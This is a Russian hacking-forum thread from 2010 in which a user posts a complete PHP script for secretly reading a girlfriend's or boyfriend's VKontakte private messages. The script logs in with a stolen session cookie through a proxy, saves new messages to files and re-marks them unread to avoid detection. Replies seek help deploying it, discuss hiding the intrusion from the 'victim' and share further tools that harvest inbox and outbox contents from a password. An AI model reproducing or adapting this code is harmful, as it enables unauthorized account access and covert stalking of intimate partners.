Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Социальные сети (https://forum.antichat.xyz/forumdisplay.php?f=133)
-   -   [скрипт] Слежка за девушкой/парнем, чтение их массаг (https://forum.antichat.xyz/showthread.php?t=183302)

kam 02.03.2010 11:50

[скрипт] Слежка за девушкой/парнем, чтение их массаг
 
вообщем, сталкнулся с ситуевиной, когда появилось подозрение что девушка изменяет...один раз глянул контакт её, там была массага о какой то встречи, через буквально 5-10 мин она её удалила...ну и захотелось организовать слежку за контактом любимой...был написан маленький скриптик...который через проксик подключаеться к контакту. логиниться, читает НОВЫЕ массаги, сохраняет их в файл, и ЗАНОГО помечает как "не прочитаные"

ну узнал я много о ней ))
вот собственно скрипт, пользуйтесь...

Код:

#!/usr/bin/php

<?php

### дира, куда сохранять все это овно (последний слеш обязателен)
$dir_save="/home/web/sites/kam/vk/msg/";
$cooke="remixchk=5; remixsid=*****";


function msg_read($mid,$uid){
      global $cooke;
        $proxy = "*****"; //прокси
        $port=8888;

    $fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
    if (!$fp){
        return "Error ";
    }
    $request = "GET http://vkontakte.ru/mail.php?act=show&id=".$mid." HTTP/1.0\r\n";
    $request .= "Host: http://vkontakte.ru\r\n";
    $request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
    $request .= "Accept-Encoding: none, *;q=0\r\n";
    $request .= "Accept-Language: ru\r\n";
    $request .= "Connection: close\r\n";
    $request .= "Proxy-Connection: close\r\n";
    $request .= "Cookie: ".$cooke." \r\n";
    $request .= "Referer: http://vkontakte.ru/mail.php/\r\n";
    $request .= "User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
    #$request .= "\r\n";

    #$request .= "$data\r\n";
    $request .= "\r\n";
    #var_dump($request);


    @fwrite ($fp,$request);
$out="";
  while (!feof($fp)) {
          $out .= fgets($fp, 128);
    }


  if(ereg("Content-Type: text/html;",$out))
  {
    #var_dump($out);
    $a=explode("Proxy-Connection: close",$out);
    return $a[1];

  }else{

        $a=explode("Proxy-Connection: close",$out);
        preg_match("/(Content-Type: )[^.]+/i",$a[0],$z);
        $z=explode("\n",$z[0]);
        #header(onlyChars($z[0]));
        return array(trim($z[0]),trim($a[1]));


  }



fclose($fp);
### end function
}


function mark_unread($mid){
              global $cooke;
        $proxy = "*****"; //прокси
        $port=8888;

    $fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
    if (!$fp){
        return "Error ";
    }


$data="mark=new&mark_custom=&m_search=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA%20%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D0%B9&q=&d=&out=0&st=0&filter=all&post%5B".$mid."%5D=".$mid."\r\n\r\n";
    $request = "POST http://vkontakte.ru/mail.php?act=mark_msg HTTP/1.0\r\n";
$request.="Host: http://vkontakte.ru\r\n";
$request.="User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
$request.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$request.="Accept-Language: ru\r\n";
$request.="Accept-Encoding: none, *;q=0\r\n";
$request.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n";
$request.="Connection: close\r\n";
$request.="Proxy-Connection: close\r\n";
$request.="Referer: http://vkontakte.ru/mail.php\r\n";
$request.="Cookie: ".$cooke."\r\n";
$request.="Pragma: no-cache\r\n";
$request.="Cache-Control: no-cache\r\n";
$request.="Content-Length: ".strlen($data)."\r\n\r\n";
$request.=$data."\r\n\r\n";

    #var_dump($request);




    @fwrite ($fp,$request);
$out="";
  while (!feof($fp)) {
          $out .= fgets($fp, 128);
          #echo($out);
    }
    #echo($out);

    fclose($fp);
#end function
}
function output_r ($host,$page,$data){
    global $cooke;

    if ($page==''){$page='/';}
    if($host == "vkontakte.ru"){
        $proxy = "*****"; //прокси
        $port=8888;
    }
    #else{
    #$proxy="192.168.5.2";
    #$port=3128;
    #}
    $fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
    if (!$fp){
        return "Error ";
    }

    $request = "GET http://$host/{$page}?{$data} HTTP/1.0\r\n";
    $request .= "Host: http://$host\r\n";
    $request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
    $request .= "Accept-Encoding: none, *;q=0\r\n";
    $request .= "Accept-Language: ru\r\n";
    $request .= "Connection: close\r\n";
    $request .= "Proxy-Connection: close\r\n";
    $request .= "Cookie: ".$cooke." \r\n";

    $request .= "Referer: http://$host/\r\n";
    $request .= "User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
    #$request .= "\r\n";

    #$request .= "$data\r\n";
    $request .= "\r\n";
    #var_dump($request);




    @fwrite ($fp,$request);
$out="";
  while (!feof($fp)) {
          $out .= fgets($fp, 128);
    }


  if(ereg("Content-Type: text/html;",$out))
  {
    #var_dump($out);
    $a=explode("Proxy-Connection: close",$out);
    return $a[1];

  }else{

        $a=explode("Proxy-Connection: close",$out);
        preg_match("/(Content-Type: )[^.]+/i",$a[0],$z);
        $z=explode("\n",$z[0]);
        #header(onlyChars($z[0]));
        return array(trim($z[0]),trim($a[1]));


  }

fclose($fp);
#end function
}

##########################################################
########################################
########################
################
############ Вызов функций


include('simple_html_dom.php');
$zzz=output_r("vkontakte.ru","mail.php","id=".$_GET['id']);

$zzz=trim(iconv("CP1251","UTF-8",$zzz));
#$ar=explode("<tr class='newRow' id=",$zzz);
#var_dump($ar);
$i=0;
$text = str_get_html($zzz);
foreach ($text -> find('tr.newRow') as $temp){
    $temp=explode("<div class=\"name\">",$temp);
    $temp1=explode("<div class=\"date\">",$temp[1]);
    ##### Username/id
    $un_tmp=trim(str_replace(array('<a href="','">','</div>','</a>',"/id")," ",$temp1[0]));
    $un=explode("\n",$un_tmp);
    $un=trim($un[0]);
    $i++;
    ### message ID
    $mid=explode("<span>",$temp1[1]);
    $mid=explode("<td class=\"messageSnippet\"",$mid[0]);
    $mid=trim(str_replace(array("id=\"mb","\">"),"",$mid[1]));

if(!file_exists($dir_save."in_".$mid))
{
$msg_page=trim(iconv("CP1251","UTF-8",msg_read($mid,$un)));
$msg_text = str_get_html($msg_page);
foreach ($msg_text -> find('td.messageText') as $msg_tmp){
    $exp=explode("<div style=\"width: 240px; overflow: hidden;\">",$msg_tmp);
    $exp=explode("</div>",$exp[1]);
    $exp=trim($exp[0]);
    $to_save=$un." (".$mid.") :  ".$exp."\r\n";
### Сохранение говна в файл
$fsave = fopen($dir_save."in_".$mid, "w");
fwrite($fsave, $to_save);
fclose($fsave);

#end foreach
}

sleep(2);
mark_unread($mid);
#end if file exist
}
#end foreach
    }



?>

для скрипта нужна библиотека simple_html_dom.php, можно найти в гугле
ну или скачать тут
_http://trac.openpolis.it/openpolis/browser/trunk/lib/simple_html_dom.php?format=txt
скрипт БЕЗ прокси не работает )...

что умеет:
Читать сообщения. сохранять в файл ( in_{$message_id} )
после помечать их как прочитаные...
также НЕ читает уже сохраненные масаги )))
скрипт не светит человека то что он онлайн

в планах: добавить логирование исходящих сообщений, добавить пометки типа сообщение из контакта было удаленно 0_о, чтобы легче было обратить внимание на нужно сообщение...

Скрипт надо гонять по крону каждую минуту....хотя самое прикольное было бы гонять каждые 30 секунд...но да ладно )

З.Ы. как запустить объеснять не буду, кому надо поймут ))
З.Ы.Ы.Претендую на звание говно-кодер месяца, за эту поделку...писал для себя. так что писал как можно быстрее, скрипт написан был за час...
З.Ы.Ы.Ы. готов принять критику по скрипту, и баг-фиксы )))

PaRaBe1LuM 02.03.2010 12:12

Спасибо, в коллекцию =)

tiath 03.03.2010 02:18

Хорошо что я не девушка :o
за скрипт спасиб огромное, применим.

StiXy24 03.03.2010 02:29

Вот это я понимаю скрипт, это вам не какой нибудь комбайн. Ваще жесть, автар это зачёт полюбому)))))

Дедушка 03.03.2010 04:18

Хватит гадить!
Обсуждаем скрипт...

Всех любителей обсудить историю с девушкой, прошу:

1) Клац
2) Клац
3) Клац


ТС, лови тренинг: правиласъема.ру

оlbaneс 03.03.2010 13:19

будете оффтопить тему закрою. тема для З.Ы.Ы.Ы. готов принять критику по скрипту, и баг-фиксы )))

VirGod 03.03.2010 19:43

TC спс, полезная вещь.

nuBo 03.03.2010 19:51

какой php нужен?
и что означают эти строки?
PHP код:

$proxy "*****"//прокси
        
$port=8888;
    }
    
#else{
    #$proxy="192.168.5.2";
    #$port=3128; 


*DeViL* 03.03.2010 22:56

ТС, спасибо! Только планировал такой скрипт заказывать! Огромное спасибо!)

-PsychonauT- 03.03.2010 22:59

Цитата:

Сообщение от Дедушка

ТС, лови тренинг: правиласъема.ру

Дедушка решил молодость вспомнить :D

*DeViL* 03.03.2010 23:27

Warning: fsockopen() [function.fsockopen]: unable to connect to 76.114.219.113:8085 (Connection timed out) in

прокси живой. в чем трабл? http прокс вообще держит? или socks

ЗЫ забыл, что прокси нужны валидные для вк) тестим..

k3naks 04.03.2010 19:55

Пожалуйста подскажите как использовать.

*DeViL* 04.03.2010 22:21

Цитата:

Сообщение от k3naks
Пожалуйста подскажите как использовать.

настой скрипт, затем заливай библиотеку с настроенным скриптом на хост, ставь автозапуск в кроне и радуйся жизни)

k3naks 05.03.2010 00:02

*DeViL*
Пожалуйста объясни подробнее, извини за нубство.)

k3naks 06.03.2010 00:37

Пожалуйста, объясните кто-нибудь, как использовать скрипт.

aka_maestro 06.03.2010 00:42

да для меня тёмный лес...подскажите добрые люди

pipetos 07.03.2010 01:01

Подскажите кто-нибудь как исправить косяки в 165, 184 и 186 строках

pipetos 07.03.2010 12:47

Тут есть та же статья http://allcheats.ru/t159521/

Xantalion 08.03.2010 00:24

А почему может выдавать такую ошибку?

#!/usr/bin/php
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /home/hop/i/l/o/iloveyou/public_html/simple_html_dom.php on line 65

PHP код:

public $nodetype HDOM_TYPE_TEXT


fab31 08.03.2010 01:46

Wow...это, конечно, видимо ооч. круто.., но действительно.., как этим пользоваться))
Тоже не рублю в информатике.., но уж оч. любопытновсе это))

olishort 08.03.2010 01:50

Есть подобный самопис на curl, кому нужно могу выложить.

olishort 08.03.2010 13:41

Цитата:

Сообщение от olishort
Есть подобный самопис на curl, кому нужно могу выложить.

Собственно как и обещал.
Цитата:

http://narod.ru/disk/18561562000/messagecheck_by_OliShort.zip.html
Внутри index.php нужно указать email, pass. Работает без капча, кому нужно сам прикрутит. Парсит непрочитанные сообщения и сохраняет по файлам - inbox, outbox.

php5 + curl

Kernet 08.03.2010 13:51

Я пол года такой скрипт хотел заиметь, большое спасибо!

Lord_BuKTOP 12.03.2010 02:05

как вручную через ту же оперу прочитать месаги и обратно пометить как не прочитанные?

и вообще возможно ли это?

derrekes 13.03.2010 03:13

а виндовый есть?

Scriptik 13.03.2010 18:21

Цитата:

Сообщение от Lord_BuKTOP
как вручную через ту же оперу прочитать месаги и обратно пометить как не прочитанные?

и вообще возможно ли это?

Отметить сообщения как непрочитанные не получится, а вот прочитать мессаги и оставить их отмеченными можно: ищешь прочитанное сообщение от того же человека, нажимаешь на тему сообщения, затем "Показать всю историю сообщений", вот и всё :)

mandebist 13.03.2010 21:26

Цитата:

Lord_BuKTOP

как вручную через ту же оперу прочитать месаги и обратно пометить как не прочитанные?

и вообще возможно ли это?
Отмечаеш сообщение (ставиш галочку на против) и в выдвежной панеле -Выберете действие- выбераеш "Отметить как новое "


Цитата:

Scriptik

Отметить сообщения как непрочитанные не получится, а вот прочитать мессаги и оставить их отмеченными можно: ищешь прочитанное сообщение от того же человека, нажимаешь на тему сообщения, затем "Показать всю историю сообщений", вот и всё

lol :D

ttt0z 23.03.2010 04:50

имхо скрипт мякго сказать не доработан. и у меня не работает.

Может прокси не подходит? в опере ставлю этот прокс все открываеться.
в скрипте получаю только хидеры. кода страницы нету.

У кого-нибудь скрипт работает? Как заставть его работать?

ачатовцы) помогите) срочну нужен этот скрипт!!
Подскажите в чем проблема? может прокси особенные нужны или еще что? пробовал на разных платных хостах. или мож ВК новую фишку ввел для защиты?

ttt0z 23.03.2010 07:12

я поражаюсь в скрипте одни ошибки. он не работает. щас сижу исправляю. зачем было выкладывать в таком виде?

ttt0z 23.03.2010 08:36

помучался вроде заработал.
Но паливо что несколько секунд новое сообщение прочитано а потом опятть непрочитано! Жертва заметит по любому. учитывая, то что скрипт запускаеться каждые 1 секунду.
Правильнее сделать через форуму, когда нажимаешь отправить пользователю сообщение: http://vkontakte.ru/mail.php?act=write&to=1111111 и снизу есть ссылка история переписки, нажав на нее можно просмотреть новые сообщения.
Вот надо через это реализовать. кто сможет?
Тогда скриптом действительно можно будет пользоваться! а так только идея...

И отправленные он тоже не сохраняет. мда..

И прокся в любой момент может сдохнуть. Разве нельзя напрямую подключаться?

Менеджер 23.03.2010 12:23

Цитата:

Сообщение от -PsychonauT-
Дедушка решил молодость вспомнить :D

Дедушка просто не одну тему не пропустить - что бы рефку не кинуть...

Вот завтра создадут тему: где колбасы купить на Яндекс.Деньги - дедушка сраза - бац - рефку кинул.

Что сказать - молодец мужик - вертиться. Сразу видно - не на одну пенсию живет...

Менеджер 23.03.2010 12:25

Цитата:

Сообщение от ttt0z
помучался вроде заработал.
Но паливо что несколько секунд новое сообщение прочитано а потом опятть непрочитано! Жертва заметит по любому. учитывая, то что скрипт запускаеться каждые 1 секунду.
Правильнее сделать через форуму, когда нажимаешь отправить пользователю сообщение: http://vkontakte.ru/mail.php?act=write&to=1111111 и снизу есть ссылка история переписки, нажав на нее можно просмотреть новые сообщения.
Вот надо через это реализовать. кто сможет?
Тогда скриптом действительно можно будет пользоваться! а так только идея...

И отправленные он тоже не сохраняет. мда..

И прокся в любой момент может сдохнуть. Разве нельзя напрямую подключаться?

1. С серевера насколько я знаю - нельзя.
2. Заплати автору денег - он прикрутит. :)

_eXorcist_ 29.03.2010 00:01

платный хостинг есть при установки скрипта возникает такая ошибка
Parse error: syntax error, unexpected T_OBJECT_OPERATOR in /www/htdocs/v106349/mes/index.php on line 18

ознаечает что curl нету ?

хотя кеоманда
which curl показывает что сурт стоит по адресу /usr/bin/curl

kam 29.03.2010 09:53

http://allcheats.ru/t161186/
тут я выложил новую версию скрипта, если кому надо...

_eXorcist_ 29.03.2010 10:53

скинь и в эту тему а то там незареган

_eXorcist_ 29.03.2010 12:23

<?php
$link=mysql_connect("localhost","cheet","4681");
if(!$link){die("error connect to mysql");}
mysql_select_db('cheet');
mysql_query("SET NAMES UTF8");

mysql_query("CREATE TABLE IF NOT EXISTS `vk_msg` (
`msg_id` int(11) NOT NULL,
`vk_id` int(11) NOT NULL,
`uname` varchar(5000) NOT NULL,
`text` mediumtext NOT NULL,
`date` varchar(255) NOT NULL,
`stat` int(11) NOT NULL,
UNIQUE KEY `msg_id` (`msg_id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;");
?>


вопрос сейчас в другом какие прокси надо http или соксы?

_eXorcist_ 29.03.2010 14:13

возник другой вопрос когда запускаю скрипт mes.php возникает такая ошибка

Parse error: syntax error, unexpected T_DNUMBER in /home/cheet/data/www/site/vk_messages/cfg.php on line 20


сокс прокси вроде поставил

ttt0z 30.03.2010 03:56

скрипт не рабочий. автору на вопросы все равно.

*DeViL* 01.04.2010 16:39

Цитата:

Вообщем. первый скрипт я писал с целью узнать побольше о своей девушке...о ней я узнал достаточно...и теперь я одинок )...ну не в этом суть...
вообщем, доделаная версия...
более красиво сделана...

_http://dump.ru/file/4439136

буду выкладывать периудами обновления...

что имеем на данный момент:
• веб-интерфейс для просмотра сообщений
• теперь сообщения храняться в базе MySQL
• более гибкая настройка через файл cfg.php
• 100% работа с проксей....
• если сообщение не прочитано, он его прочитает и заново пометит как не прочитаное )

в приватной версии тестируеться чтение удаленных массаг, в ближ дни выложу и этот вариант скрипта...


Как его запустить?
1. для начало нужно поиметь печеньки...если они есть, вставляем их в файл cfg.php и радуемся...
если нету...но есть пароль, генерирует куки через скрипт get_cooke.pl
он создаст файл cooke.txt в котором они будут, открываем, и всовываем их в cfg.php

2. ищем прокси через который будет работать этот скрипт...прописываем прокси в файл...

3. ставим скрипт на работу, раз в минуту, ну или как вам угодно...
скрипт отвечающий за выполнение mes.php


увеличил таймаут - бесполезно.
Набрал пару десятков быстрых прокси не забаненых вк, не помогло.
При обращении на /mes.php не выдает никаких ошибок и отлично выполняет скрипт, но в базе пусто.

Скрипт не рабочий.

Цитата:

Собственно как и обещал.
Цитата:
http://narod.ru/disk/18561562000/messagecheck_by_OliShort.zip.html


Внутри index.php нужно указать email, pass. Работает без капча, кому нужно сам прикрутит. Парсит непрочитанные сообщения и сохраняет по файлам - inbox, outbox.

php5 + curl
[+] работает, сообщения собирает в таком формате
Код:

From: 52077995, To: 41451183, Date: 2 мар 2010 в 5:02, Message: Выполняем дипломные, курсовые работы !! http://vkontakte.ru/club15480365!!! Качественно и в срок!!



--- 01.04.2010, 22:11:35 ---

From: 17457788, To: 41451183, Date: 1 мар 2010 в 18:27, Message: Не спам!<br/>Продаю голоса если чё в лс!<br/>Цены:<br/>РУБЛИ.................ГРИВНЫ<br/>до 050г - 3.7|3.6...0,99|0,96<br/>до 100г - 3.6|3,5...0,96|0,94<br/>до 200г - 3,5........0,94<br/>до 400г - 3,4........0.91<br/>до 600г - 3,34......0,89<br/>до 1000 - 3,2.......0,86<br/>до 2000 - 3.1.......0,83<br/>выше 2к - договорная


LStr1ke 07.04.2010 21:14

Из последнего скрипта выдает
Цитата:

Warning: curl_setopt() [function.curl-setopt]: the provided file handle is not writable in C:\xampp\htdocs\vk\libs\DudeCurl.php on line 205
Я так понял, это чета с файлами *.tmp связано в папке libs.
Не пашет.
Есть ли у кого аналог рабочий?


Время: 23:25